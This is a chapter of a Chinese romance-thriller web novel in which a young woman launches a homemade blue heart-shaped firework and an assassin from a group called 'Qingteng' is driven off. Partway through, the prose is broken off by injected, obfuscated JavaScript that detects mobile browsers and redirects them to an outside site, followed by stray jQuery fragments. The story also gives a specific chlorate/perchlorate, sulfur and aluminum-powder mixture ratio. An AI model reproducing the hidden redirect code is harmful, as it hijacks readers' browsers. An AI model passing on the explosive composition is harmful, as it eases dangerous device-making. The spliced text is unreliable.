寒风如同西伯利亚流放的冰刀,裹挟着河面升腾的湿冷腥气,狠狠刮过滨河公园光秃的枝桠。那些枯瘦的枝干在铅灰色天幕下疯狂舞动,发出鬼哭般的尖啸。十二月末的夜晚,温度计的水银柱早已跌破零下十度的刻度,呵气成霜,吐出的白雾尚未成形便被狂风撕碎。空气里弥漫着河水特有的、混合着淤泥与腐烂水草的腥冷,还有城市边缘工业区飘来的、若有若无的硫磺与铁锈的苦涩。这片位于城市边缘的滨河公园,在隆冬的深夜里,更像一片被文明遗弃的、冻结的荒原。
观景台孤悬于陡峭的河岸之上,由粗糙的混凝土浇筑而成,栏杆上凝结着厚厚的、肮脏的白色冰霜。惨淡的月光吝啬地洒下,勉强勾勒出平台边缘的轮廓,却无法驱散平台中央那片浓稠得化不开的黑暗。唯一的光源,来自平台中央那个半蹲着的、几乎与夜色融为一体的身影——恒安。
她像一尊沉默的、被遗忘在时间之外的机械造物。巨大的降噪耳机隔绝了外界呼啸的风声,只留下服务器风扇低沉的嗡鸣和指尖敲击平板屏幕时发出的、极其轻微的嗒嗒声。幽蓝的屏幕光如同深海鱼类的冷光器官,映亮她凝重的脸庞。那光线下,她的皮肤呈现出一种近乎透明的苍白,鼻尖和颧骨被冻得泛红,长长的睫毛上甚至凝结了细小的冰晶。她穿着厚重的黑色羽绒服,拉链一直拉到下颌,但依旧无法完全抵御这刺骨的严寒,身体在不易察觉地微微颤抖。她的目光如同最精密的扫描仪,穿透屏幕幽蓝的光晕,落在面前摊开的那个银灰色金属箱上。
箱子约莫半米长,外壳是冰冷的航空铝合金,表面布满细密的散热孔。箱盖敞开着,露出里面如同精密仪器内脏般的复杂结构:成捆的、颜色各异的硅胶绝缘导线如同纠缠的蛇群;几块裸露的、闪烁着绿色指示灯的电路板;数个大小不一的、装着不同颜色结晶粉末或粘稠液体的玻璃试剂瓶,标签上印着“KNO?”、“S”、“Al”等化学符号以及醒目的骷髅头危险标志;还有一台小型磁力搅拌器,转子浸泡在一种深紫色的溶液中,正无声地旋转着。空气中弥漫着浓烈的、混合了硝酸钾的硝石味、硫磺的刺鼻气息以及丙酮溶剂的甜腻,这味道被寒风裹挟着,钻进鼻腔,带来一阵阵寒意。
恒安的指尖在平板上划过,调出一个复杂的界面。屏幕上显示着实时温度、湿度、风速、大气压力等环境参数,以及一组不断跳动的化学方程式和分子结构图。她的眉头微微蹙起,指尖在几个参数上快速调整。
“环境温度:-11.3℃。湿度:78%。风速:6.7m/s,西北风。”她低声自语,声音被寒风撕扯得有些破碎,“硝酸钾潮解风险:低。硫磺粉分散性:受低温影响,需增加氧化剂比例……铝粉活性:稳定。”
她拿起一个标着“氧化剂-改良型”的棕色玻璃瓶,瓶口用蜡密封。用小刀仔细刮开封蜡,一股更浓烈的、类似鞭炮燃放后的硝烟味弥漫开来。她用特制的金属药匙,精确地舀出两平匙灰白色的粉末,小心翼翼地倒入一个敞口的玻璃烧杯中。粉末在惨淡的月光下泛着珍珠般的光泽。
“氯酸钾……70%,高氯酸钾……30%……复合氧化体系。”她低声解释着,像是在对空气说话,又像是在确认自己的操作。接着,她又拿起一个装着亮黄色粉末的小瓶,“硫磺粉,200目,纯度99.9%。”同样精确地称量后加入烧杯。最后,是一个装着银灰色、极其细腻粉末的瓶子。“球形铝粉,粒径5μm。”她动作更加谨慎,铝粉在空气中极易飘散,吸入肺部是致命的。铝粉加入后,她用玻璃棒极其缓慢、轻柔地搅拌着混合物,确保三种粉末均匀混合。烧杯中的混合物呈现出一种奇异的灰黄色。
“□□基础配方:氧化剂65%,可燃物硫磺10%,金属燃料铝粉25%。”她将混合好的粉末倒入一个特制的、带有螺旋推进装置的金属药筒中。药筒连接着一根手臂粗细、长约半米的金属发射管,管子被牢牢固定在观景台冰冷的铁栏杆上,管口斜指向漆黑如墨的夜空。
“接下来……着色剂。”她打开另一个小盒子,里面是几个更小的玻璃瓶,装着各种颜色的结晶粉末:深蓝的硫酸铜、翠绿的硝酸钡、鲜红的锶盐……她选择了深蓝色的硫酸铜结晶,研磨成极细的粉末。“目标光谱:主波长450-470nm,冷蓝色。”她将蓝色粉末与少量之前混合好的□□再次小心混合,装入另一个更小的药筒,嵌入主药筒的前端。“焰色反应……铜离子激发态跃迁……”
完成装药,她将药筒塞入发射管,连接好点火导线。导线另一端连接着一个巴掌大小、带有液晶屏和几个按钮的黑色控制器。她将控制器连接上平板电脑,屏幕上显示出复杂的控制界面:电压、电流、点火延时、燃烧时间……
“点火系统:电容储能脉冲点火,电压12V,电流峰值50A,确保低温可靠触发。”她调试着参数,指尖在屏幕上快速滑动。“空气动力学模拟……风速6.7m/s,弹道修正角…偏西3.7度,仰角提升0.5度……”
一切准备就绪。她深吸一口冰冷的空气,试图压下指尖的微颤。然后,她按下了平板上的虚拟启动按钮。
“嗤——嗡——!”
没有震耳欲聋的爆炸,只有一种奇特的、如同高压电弧击穿空气般的尖锐嘶鸣,混合着低沉的、仿佛来自地底深处的嗡鸣!一道幽蓝色的火舌猛地从发射管口喷薄而出!那火焰并非炽热的红黄,而是纯粹的、冰冷的、如同极地冰川核心般的深蓝!它像一条被囚禁千年的冰龙,挣脱束缚,扭曲着、咆哮着射向漆黑的夜空!火焰的核心温度极高,边缘却散发着非自然的寒意,所过之处,空气被剧烈电离,发出噼啪的静电声响,留下一道短暂存在的、扭曲的离子轨迹!
火焰在夜空中急速攀升,达到最高点的瞬间——
“嘭!”
一声沉闷却极具穿透力的爆鸣!深蓝色的火焰猛地向四周炸裂开来!没有四散的火星,而是化作无数细碎的、如同蓝宝石粉尘般的光点!这些光点并非无序飞溅,而是在某种无形的力量牵引下,迅速扩散、旋转、凝聚!它们彼此连接,勾勒出清晰的线条,在不到一秒的时间内,于漆黑的夜幕之上,赫然呈现出一个巨大、完美、散发着幽幽蓝光的——心形!
那心形悬浮在夜空中,由无数跳跃、闪烁的蓝色光点构成,边缘清晰,线条流畅,散发着一种非人间的、冷冽而梦幻的光辉。它无声地燃烧着,将下方观景台和一小片河面映照得一片幽蓝。光点缓缓飘落,如同蓝色的雪,带着细微的静电噼啪声,落在景雨仰起的脸上,带来一丝微弱的、奇异的麻痒感。
景雨站在恒安身后几步远的地方,早已忘记了寒冷。她仰着头,微张着嘴,清澈的眼眸被那巨大的蓝色心形彻底占据,倒映着点点幽蓝的光芒。心脏在胸腔里不受控制地狂跳,血液奔涌的声音在耳边轰鸣。心形?这……这绝不可能是意外!恒安……她……
“轨迹……严重偏移。”恒安的声音突然响起,带着一丝刻意为之的平静,甚至有些生硬。她没有回头,依旧背对着景雨,手指在平板上飞快操作,屏幕上的数据流瀑布般刷新。“风速扰动超出预期阈值……湍流模型需修正……意外形态,无……无参考价值。”她的语速比平时快了一丝,尾音带着不易察觉的颤抖。
那巨大的蓝色心形持续燃烧了约莫五秒钟,光芒才渐渐黯淡,光点如同被夜色吞噬的萤火虫,无声地消散在寒风里。只留下空气中淡淡的硝烟味和一丝若有若无的臭氧气息,证明刚才那梦幻般的一幕并非幻觉。
恒安沉默地站起身,动作显得有些僵硬。她没有看景雨,而是走到金属箱旁,从里面取出一个细长的棕色玻璃试剂瓶。瓶身标签上印着“丙酮|AR|易燃”的字样和一个醒目的火焰标志。瓶内装着约半瓶无色透明的液体,在惨淡的月光下泛着冷冽的光泽。
“发射管需要清理残留药剂。”她转过身,终于看向景雨,但目光却落在她手中的试剂瓶上,似乎不敢与她对视。“丙酮,溶解性好,挥发快。小心,低温下玻璃很脆。”她伸出手,将试剂瓶递向景雨。
景雨下意识地伸出手。她的指尖早已冻得麻木,几乎感觉不到温度。就在她的指尖即将触碰到那冰冷光滑的玻璃瓶身时,恒安的手却似乎“没拿稳”,又或者是因为寒冷而失去了些许灵活度,瓶子向前滑了一下!
冰凉坚硬的玻璃瞬间传递到景雨冻僵的指尖,带来一阵刺痛。但紧随其后的,是恒安同样冰冷、却带着一丝异样温度的指尖!它们没有立刻收回,而是轻轻地、短暂地覆在了景雨的手背上。
那一瞬间的触感,如同静电的轻微刺痛,又像是一片落在皮肤上的雪花,带着微弱的电流感和转瞬即逝的冰凉。但在这极寒的冬夜里,那一点触碰却像投入心湖的石子,漾开一圈圈滚烫的涟漪。景雨的手指猛地一颤,几乎要缩回来。
“小心低温灼伤。”恒安的声音近在咫尺,带着呼吸间呵出的白气,几乎拂过景雨的耳廓。她的声音比平时低沉,带着一丝不易察觉的沙哑。说完,她迅速抽回手,仿佛被烫到一般,立刻转身蹲下,重新埋首于金属箱中的设备,只留下一个线条清冷、略显仓促的背影。平板屏幕幽蓝的光映着她微微泛红的耳尖,在浓重的夜色中,那抹红晕如同雪地里绽放的寒梅,格外清晰。
景雨怔在原地,手里握着那瓶冰冷的丙酮,手背上那一点微麻的触感却如同烙印般清晰。恒安指尖的温度,那近在咫尺的呼吸,还有那句低语…像无形的丝线,缠绕着她的心脏,带来一阵陌生的悸动和慌乱。恒安……她刚才……是故意的吗?为了……碰她的手?这个念头如同投入油锅的水滴,在她心底炸开,脸颊不受控制地开始发烫,连带着被寒风冻僵的耳朵也热了起来。她低下头,看着手中的试剂瓶,冰冷的玻璃贴着掌心,却怎么也压不住心底那股莫名升腾的暖意和困惑。
寒风依旧在呼啸,卷起地上的尘土和枯叶,发出呜咽般的声响。观景台上只剩下恒安摆弄设备的轻微声响和风声。就在这片相对的死寂中——
“咔嚓!”
一声极其轻微、如同干燥树枝被踩断的脆响,从观景台下方那片茂密的、挂着冰凌的冬青灌木丛中传来!声音不大,但在呼啸的风声间隙中,却显得异常刺耳!
恒安的身体瞬间绷紧!如同被按下了开关的猎豹,她猛地抬起头,眼神在刹那间变得锐利如刀锋,穿透黑暗,死死锁定声音传来的方向!她甚至没有经过思考,指尖已经在平板上化作一片虚影!
“嗡——!!!”
一阵低沉却极具穿透力、仿佛来自地底深处的嗡鸣声陡然响起!声音的源头,是观景台边缘一根看似废弃的、锈迹斑斑的金属路灯杆!那灯杆顶端早已没有灯泡,此刻却猛地爆发出强烈的、跳跃不定的幽蓝色电弧!噼啪作响的电火花在空气中炸开,瞬间交织成一张覆盖了灯杆周围两米范围的、肉眼可见的、由狂暴电流组成的电网!蓝白色的电蛇疯狂扭动,发出令人牙酸的嘶嘶声,将周围一小片区域映照得如同鬼域!
“呃啊——!”一声压抑着巨大痛苦的闷哼从灌木丛中爆发出来!
紧接着是“哐当”一声,金属物体重重砸在冻硬土地上的脆响!
恒安没有丝毫犹豫,如同离弦之箭般从地上弹起,两步便冲到栏杆边!她左手握着平板,右手已经拔出了强光战术手电,拇指猛地按下开关!
“唰——!”
一道惨白刺眼的光束如同撕裂夜幕的利剑,瞬间刺破浓稠的黑暗,精准地笼罩了声音传来的灌木丛区域!
光束下,一个穿着深灰色连帽冲锋衣、戴着黑色口罩和鸭舌帽的身影正狼狈不堪地从地上挣扎着爬起!他左手死死地捂着右手手腕,身体因剧痛而佝偻着,露出的手腕皮肤一片焦黑,甚至能看到细微的碳化痕迹!在他脚边,一把闪着森冷寒光的匕首静静地躺在枯黄的草叶和碎冰上!匕首的样式简洁而致命,刀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020708|178505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身狭长,双面开刃,在强光照射下反射出刺目的白光。而最引人注目的,是刀柄末端镶嵌的金属护手上,一个清晰的、由荆棘藤蔓缠绕而成的浮雕图案——正是“青藤”组织的标志!
那人被强光刺得睁不开眼,猛地抬手遮挡,但那双透过指缝露出的眼睛,却充满了惊骇、痛苦和一种毒蛇般的怨毒!他恶狠狠地瞪了观景台上的两人一眼,喉咙里发出一声野兽般的低吼,没有丝毫犹豫,甚至顾不上捡起地上的匕首,转身就踉跄着、一瘸一拐地冲入灌木丛后更深的黑暗小径中,身影迅速被浓重的夜色吞噬。
恒安没有追击。她很清楚,贸然追入黑暗的陌生环境极其危险。她快步走下观景台湿滑的台阶,强光手电的光束如同探照灯般扫过那片区域。她蹲下身,用手电仔细照射着那把遗落的匕首。刀身锋利,寒光凛冽,靠近刀柄的根部,似乎还刻着极小的编号。刀柄的荆棘藤蔓图案在强光下无所遁形,带着一种冰冷的、充满恶意的美感。她掏出一个透明的证物袋,用镊子小心地将匕首夹起,放入袋中密封好。然后,她站起身,目光扫视着杀手消失的方向,又抬头看向观景台上依旧有些发怔的景雨,声音带着一丝不易察觉的紧绷和凝重:
“‘青藤’的人。他们一直在监视我们。”她的语气斩钉截铁,“那把刀……是冲着我们来的。”
景雨的心猛地沉了下去,如同坠入冰窟。刚才因恒安触碰而生出的那点暖意和悸动,瞬间被一股更刺骨、更粘稠的寒意取代,迅速蔓延至四肢百骸。她看着恒安手中证物袋里那把闪着寒光的匕首,看着刀柄上那狰狞的荆棘藤蔓,一股难以言喻的恐惧攫住了她。烟花表演结束了,那短暂而虚幻的蓝色心形焰火,如同一个易碎的梦境,被冰冷的现实和“青藤”的阴影彻底撕碎、碾灭。
寒风更加猛烈地刮过空旷的观景台,卷起地上的尘土、枯叶和细碎的冰碴,抽打在脸上生疼。景雨下意识地抱紧了双臂,牙齿不受控制地微微打颤。她看着恒安沉默地走回观景台,将证物袋小心地放进背包夹层,然后开始利落地收拾散落在地上的各种设备、试剂瓶和导线。动作依旧精准、有条不紊,但景雨能感觉到,恒安周身散发出的气息比刚才更加冰冷,更加紧绷。烟花带来的短暂光芒彻底熄灭,只剩下无边无际的黑暗和潜伏的杀机。
很快,恒安将最后一个设备装入那个沉重的银灰色金属箱,扣上锁扣,背在了身后。她拉上背包拉链,却没有立刻离开。她站在原地,沉默了片刻,似乎在犹豫着什么。寒风卷起她额前的碎发,露出光洁的额头和紧蹙的眉头。
然后,她转过身,面向景雨。她没有看景雨的眼睛,目光低垂,落在景雨因为寒冷而紧紧交握在一起、冻得通红甚至有些发紫的双手上。
她缓缓伸出自己的右手。那只手同样在寒风中冻得通红,指关节僵硬,指尖因为长时间暴露在低温中而微微颤抖,失去了平日的灵活与稳定。她沉默着,似乎在积蓄勇气。
终于,她伸出食指,轻轻点在景雨下意识摊开的、冰冷的掌心。
冰凉的指尖带着微微的、无法抑制的颤抖,落在景雨温热的掌心皮肤上。那触感,如同初春融化的雪水滴落。恒安的指尖没有立刻移动,而是停顿了一瞬,仿佛在感受着掌心皮肤下细微的脉搏跳动。然后,她才开始缓缓移动手指,在景雨的掌心皮肤上,一笔,一划,带着一种近乎虔诚的专注和难以言喻的笨拙,书写起来。
H?O→水滴+爱心
冰冷的化学式符号,H?O代表水分子,箭头指向一个水滴符号和一颗简单却炽热的心形符号。指尖的冰凉与书写时带来的细微摩擦感,混合着一种奇异的电流般的麻痒,清晰地传递到景雨的神经末梢。
写完最后一个符号,恒安如同被烫到一般,猛地收回了手指,迅速转过身,背对着景雨。她的肩膀似乎微微起伏了一下,声音低得几乎被呼啸的风声彻底吞没,带着一种罕见的、近乎狼狈的仓促:
“……水在低温下会结冰。但……有些东西不会。”
话音未落,她已经迈开脚步,背着沉重的金属箱和背包,头也不回地快步走下了观景台湿滑的台阶。黑色的身影很快被浓稠的夜色吞没,消失在通往公园出口的小径尽头。
景雨独自一人,依旧站在原地。寒风如同冰冷的鞭子抽打着她单薄的身体,但她仿佛感觉不到。她缓缓低下头,摊开自己的手掌。掌心似乎还残留着恒安指尖的冰凉触感,以及书写时那细微的、带着电流般的摩擦。H?O→水滴+爱心。水分子分解成水滴和……心?
她怔怔地看着自己的掌心,那里空空如也,只有被冻得通红的皮肤纹路。但那无形的符号,却仿佛带着恒安指尖的温度和那低哑的话语,深深地烙印在了她的感知里。
寒风更加凄厉地呼啸着,卷过空荡死寂的观景台,吹乱了景雨的长发,也吹散了空气中最后一丝硝烟和臭氧的气息。她缓缓地、紧紧地握紧了那只手掌,仿佛要将那无形的符号、那残留的温度、那低哑的话语,都牢牢地攥进手心,刻进心里。然后,她将那只紧握的拳头,轻轻地、用力地按在了自己微微发烫的心口。
那里,有什么东西,在寒冷的冬夜里,在“青藤”的阴影笼罩下,正以一种前所未有的力度,剧烈地、滚烫地跳动着。带着一丝挥之不去的困惑,一丝陌生而强烈的悸动,一丝难以言喻的、足以对抗严寒的暖意。
恒安最后那句话在她耳边反复回响,如同投入深潭的石子,激起层层涟漪。
“有些东西不会。”
她抬起头,望向恒安消失的方向,又低头看了看自己紧按在心口的手。夜色如墨,寒风如刀,但少女的心湖深处,一颗名为“悸动”的种子,已在冰冷的土壤中悄然萌发。而远处,“青藤”的阴影如同蛰伏的巨兽,在黑暗中无声地觊觎,它的獠牙已经初露锋芒。这场始于冬夜心形焰火的暗流,裹挟着静电星火般的微妙情愫与致命杀机,才刚刚开始汹涌澎湃。